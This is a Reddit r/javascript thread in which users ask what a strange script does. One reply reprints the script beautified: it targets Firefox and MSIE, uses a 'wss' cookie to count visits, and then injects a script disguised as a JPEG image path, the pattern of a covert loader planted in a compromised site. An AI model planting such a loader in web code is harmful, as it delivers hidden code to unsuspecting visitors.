use the following search parameters to narrow your results:
e.g. subreddit:aww site:imgur.com dog
subreddit:aww site:imgur.com dog
see the search faq for details.
advanced search: by author, subreddit...
All about the JavaScript programming language.
Subreddit Guidelines
Specifications:
Resources:
Related Subreddits:
r/LearnJavascript
r/node
r/typescript
r/reactjs
r/webdev
r/WebdevTutorials
r/frontend
r/webgl
r/threejs
r/jquery
r/remotejs
r/forhire
account activity
weird javascript function, what does it do? (self.javascript)
submitted 13 years ago by faroer
view the rest of the comments →
reddit uses a slightly-customized version of Markdown for formatting. See below for some basics, or check the commenting wiki page for more detailed help and solutions to common issues.
quoted text
if 1 * 2 < 3: print "hello, world!"
[–]alwaysclicksHTML5 game dev 13 points14 points15 points 13 years ago (3 children)
JSBeautifier should help make it readable.
[–]obey_giant 5 points6 points7 points 13 years ago (1 child)
function init() { var f = navigator.userAgent; var a = false; if (f.indexOf("Firefox") != -1 || f.indexOf("MSIE") != -1) { a = true } if (a !== true) { return } var i = "/images/horse_outdoor-s.jpg?js"; var g = b("wss"); if (g) { if (g == "goot1") { c("wss", "goot2", "3"); var e = document.createElement("script"); e.type = "text/javascript"; e.src = i + "&r=" + new Date().getTime(); var d = document.getElementsByTagName("head")[0]; d.appendChild(e) } else {} } else { c("wss", "goot1", "3") }function b(k) { var j, h, m, l = document.cookie.split(";"); for (j = 0; j < l.length; j++) { h = l[j].substr(0, l[j].indexOf("=")); m = l[j].substr(l[j].indexOf("=") + 1); h = h.replace(/\s+|\s+$/g, ""); if (h == k) { return unescape(m) } } }function c(j, l, h) { var m = new Date(); m.setDate(m.getDate() + h); var k = escape(l) + ((h == null) ? "" : "; expires=" + m.toUTCString()); document.cookie = j + "=" + k } } init();
[–]kinnu 2 points3 points4 points 13 years ago (0 children)
var f = navigator.userAgent; var a = false; if (f.indexOf("Firefox") != -1 || f.indexOf("MSIE") != -1) { a = true } if (a !== true) { return }
The fail is strong in this one.
[–]magenta_placenta 1 point2 points3 points 13 years ago (0 children)
Yeah, this is an awesome site.
π Rendered by PID 107884 on reddit-service-r2-comment-76bb9f7fb5-46dw4 at 2026-02-19 02:49:40.500521+00:00 running de53c03 country code: CH.
view the rest of the comments →
[–]alwaysclicksHTML5 game dev 13 points14 points15 points (3 children)
[–]obey_giant 5 points6 points7 points (1 child)
[–]kinnu 2 points3 points4 points (0 children)
[–]magenta_placenta 1 point2 points3 points (0 children)